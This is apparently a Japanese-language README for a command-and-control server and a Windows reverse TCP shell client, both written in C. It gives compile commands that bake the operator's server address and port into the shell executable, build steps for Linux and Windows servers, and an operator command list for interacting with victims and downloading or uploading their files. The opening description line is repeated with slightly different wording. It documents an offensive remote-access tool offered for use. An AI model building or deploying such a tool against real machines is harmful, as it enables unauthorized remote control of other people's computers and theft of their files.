
マルチスレッド、マルチOS/プラットフォーム(Linux/Windows)のC2サーバーと、両方ともC言語で記述されたWindows用リバースTCPシェルクライアント。
マルチスレッド、マルチOS/プラットフォーム(Linux/Windows)対応のC2サーバーと、C言語で書かれたWindows向けリバースTCPシェルクライアント。
i686-w64-mingw32-gcc を使用したリバースTCPシェルクライアントのコンパイル:
i686-w64-mingw32-gcc sakito_revshell.c lib/windows/sakito_win_core.c -o sakito_revshell.exe -s -ffunction-sections -fdata-sections -fno-exceptions -fmerge-all-constants -static-libgcc -lws2_32 -D PORT=<port_number> -D HOST=\"<server_ipv4_address>\"
Developer コマンドプロンプト内で cl.exe を使用したリバースTCPシェルのコンパイル:
cl.exe sakito_revshell.c lib/windows/sakito_win_core.c /D PORT=<port_number> /D HOST=\"<server_ipv4_address>\"
GCC を使用したLinuxサーバーのコンパイル:
gcc -pthread sakito_server.c lib/sakito_server_tools.c lib/linux/sakito_slin_utils.c -o sakito_server -D PORT=<port_number>
Developer コマンドプロンプト内で cl.exe を使用したWindowsサーバーのコンパイル:
cl.exe sakito_server.c lib/windows/sakito_win_core.c lib/sakito_server_tools.c lib/windows/sakito_swin_utils.c /D PORT=<port_number>
コマンド一覧:
list: 利用可能な接続を一覧表示します。
interact [id]: クライアントと対話します。
download [filename]: クライアントのファイルシステムからサーバーのファイルシステムにファイルをダウンロードします。
upload [filename]: サーバーのファイルシステムからクライアントのファイルシステムにファイルをアップロードします。
background: クライアントをバックグラウンドに移します。
exit: クライアントまたはホストを終了します。
cd [dir]: クライアントまたはホストのディレクトリを変更します。